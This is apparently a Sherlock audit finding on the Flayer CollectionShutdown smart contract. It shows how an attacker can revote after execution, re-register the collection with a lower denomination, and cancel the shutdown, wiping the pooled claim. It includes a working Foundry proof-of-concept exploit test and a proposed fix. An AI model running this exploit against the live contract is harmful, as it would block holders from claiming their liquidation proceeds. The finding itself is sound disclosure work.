Vast Umber Walrus - The attacker will prevent eligible users from claiming the liquidated balance

[sherlock-admin4]

Vast Umber Walrus

High

The attacker will prevent eligible users from claiming the liquidated balance

Summary

The CollectionShutdown contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation by SudoSwap.

Root Cause

• The CollectionShutdown::vote() does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to trigger canExecute to TRUE after execution.
• The CollectionShutdown::cancel() does not use params.collectionToken to retrieve the denomination() for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.

Internal pre-conditions

1. The collection token total supply must be within a valid limit for the shutdown condition (e.g., less than or equal to MAX_SHUTDOWN_TOKENS).
2. The denomination of the collection token for the shutdown collection is greater than 0.

External pre-conditions

1. The attacker holds some portion of the collection token supply for the shutdown collection.

Attack Path

Pre-condition:

1. Assume the collection token (CT) total supply is 4 CTs (4 * 1e18 * 10 ** denom).
2. There are 2 holders of this supply: Lewis (2 CTs) and Max (2 CTs).

Attack:

1. Lewis notices that the collection can be shutdown and calls CollectionShutdown::start().

   • totalSupply meets the condition <= MAX_SHUTDOWN_TOKENS.
   • params.quorumVotes = 50% of totalSupply = 2 * 1e18 * 1eDenom (2 CTs).
   • Vote for Lewis is recorded.
   • The contract transfer 2 CTs of Lewis balances, and params.shutdownVotes += 2 CTs.
   • Now params.canExecute is flagged to be TRUE since params.shutdownVotes (2CTs) >= params.quorumVotes (2 CTs).

2. Time passes, no cancellation occurs, and the owner executes the pending shutdown.

   • The NFTs are liquidated on SudoSwap.
   • params.quorumVotes remains the same as there is no change in supply.
   • The collection is sunset in the Locker, deleting _collectionToken[_collection] and collectionInitialized[_collection].
   • params.canExecute is flagged back to FALSE.

After some or all NFTs are sold on SudoSwap:

3. Max monitors the NFT sales and prepares for the attack.

4. Max splits their balance of CTs to his another wallet and remains holding a small amount to perform the attack.

5. Max, who never voted, calls CollectionShutdown::vote() to flag params.canExecute back to TRUE.

   • The contract transfer small amount of CTs of Max balances.
   • Since params.shutdownVotes >= params.quorumVotes (due to Lewis' shutdown), params.canExecute is set back to TRUE.

6. Max registers the target collection again, manipulating the token's denomination via the Locker::createCollection().

   • Max specifies a denomination lower than the previous one (e.g., previously 4, now 0).

7. Max invokes CollectionShutdown::cancel() to remove all properties of _collectionParams[_collection], including _collectionParams[].availableClaim.

   • The following check passes:

     File: CollectionShutdown.sol
     398:         if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
     399:             revert InsufficientTotalSupplyToCancel();
     400:         }

   • Since the new denomination is 0, the check becomes:

     (4 * 1e18 * 10 ** 4) <= (4 * 1e18 * 10 ** 0): FALSE

     Result: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.

Impact

The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.

PoC

Setup

• Update the CollectionShutdown.t::constructor() to mint CTs token with denominator more that 0

  File: CollectionShutdown.t.sol
  29:     constructor () forkBlock(19_425_694) {
  30:         // Deploy our platform contracts
  31:         _deployPlatform();
  ---
  -35:         locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
  +35:         locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 4);
  36: 

• Put the snippet below into the protocol test suite: flayer/test/utils/CollectionShutdown.t.sol
• Run test:

  forge test --mt test_CanBlockEligibleUsersToClaim -vvv

Coded PoC

Show Coded PoC

```solidity function test_CanBlockEligibleUsersToClaim() public { address Lewis = makeAddr("Lewis"); address Max = makeAddr("Max"); address MaxRecovery = makeAddr("MaxRecovery"); // -- Before Attack -- // Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown) vm.startPrank(address(locker)); collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination()); collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination()); vm.stopPrank(); // Start shutdown with their vore that has passed the threshold quorum vm.startPrank(Lewis); uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination(); collectionToken.approve(address(collectionShutdown), type(uint256).max); collectionShutdown.start(address(erc721b)); assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)), lewisVoteBalance); vm.stopPrank(); // Confirm that we can now execute assertCanExecute(address(erc721b), true); // Mint NFTs into our collection {Locker} and process the execution uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3); collectionShutdown.execute(address(erc721b), tokenIds); // Confirm that the {CollectionToken} has been sunset from our {Locker} assertEq(address(locker.collectionToken(address(erc721b))), address(0)); // After we have executed, we should no longer have an execute flag assertCanExecute(address(erc721b), false); // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will // provide 0.5 ETH <-> 1 {CollectionToken}. _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether); // Ensure that all state are SET ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore = collectionShutdown.collectionParams(address(erc721b)); assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance); assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL); assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance); assertEq(shutdownParamsBefore.canExecute, false); assertEq(address(shutdownParamsBefore.collectionToken), address(collectionToken)); assertEq(shutdownParamsBefore.availableClaim, 2 ether); // -- Attack -- uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max)); uint256 amountSpendForAttack = 1; // Transfer almost full funds to their second account and perform with small amount vm.prank(Max); collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore - amountSpendForAttack); uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max)); assertEq(balanceOfMaxAfter, amountSpendForAttack); // Max votes even it is in the claim state to flag the `canExecute` back to Trrue vm.startPrank(Max); collectionToken.approve(address(collectionShutdown), type(uint256).max); collectionShutdown.vote(address(erc721b)); assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)), amountSpendForAttack); vm.stopPrank(); // Confirm that Max can now flag `canExecute` back to `TRUE` assertCanExecute(address(erc721b), true); // Attack to delete all varaibles track, resulting others cannot claim thier eligible ethers vm.startPrank(Max); locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0); collectionShutdown.cancel(address(erc721b)); vm.stopPrank(); // Ensure that all state are DELETE ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter = collectionShutdown.collectionParams(address(erc721b)); assertEq(shutdownParamsAfter.shutdownVotes, 0); assertEq(shutdownParamsAfter.sweeperPool, address(0)); assertEq(shutdownParamsAfter.quorumVotes, 0); assertEq(shutdownParamsAfter.canExecute, false); assertEq(address(shutdownParamsAfter.collectionToken), address(0)); assertEq(shutdownParamsAfter.availableClaim, 0); // -- After Attack -- vm.expectRevert(); vm.prank(Lewis); collectionShutdown.claim(address(erc721b), payable(Lewis)); } ```

Result

Results of running the test:

Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CanBlockEligibleUsersToClaim() (gas: 1491640)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.96s (3.48ms CPU time)

Ran 1 test suite in 11.17s (10.96s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Mitigation

• Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of params.canExecute.

  
  function vote(address _collection) public nonReentrant whenNotPaused {
  // Ensure that we are within the shutdown window
  CollectionShutdownParams memory params = _collectionParams[_collection];
  if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();

• if (params.sweeperPool != address(0)) revert ShutdownExecuted(); _collectionParams[_collection] = _vote(_collection, params); }

• Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.

  
  function cancel(address _collection) public whenNotPaused {
  // Ensure that the vote count has reached quorum
  CollectionShutdownParams memory params = _collectionParams[_collection];
  if (!params.canExecute) revert ShutdownNotReachedQuorum();
  
  // Check if the total supply has surpassed an amount of the initial required
  // total supply. This would indicate that a collection has grown since the
  // initial shutdown was triggered and could result in an unsuspected liquidation.

• if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {

• if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) { revert InsufficientTotalSupplyToCancel(); }

  // Remove our execution flag delete _collectionParams[_collection]; emit CollectionShutdownCancelled(_collection); }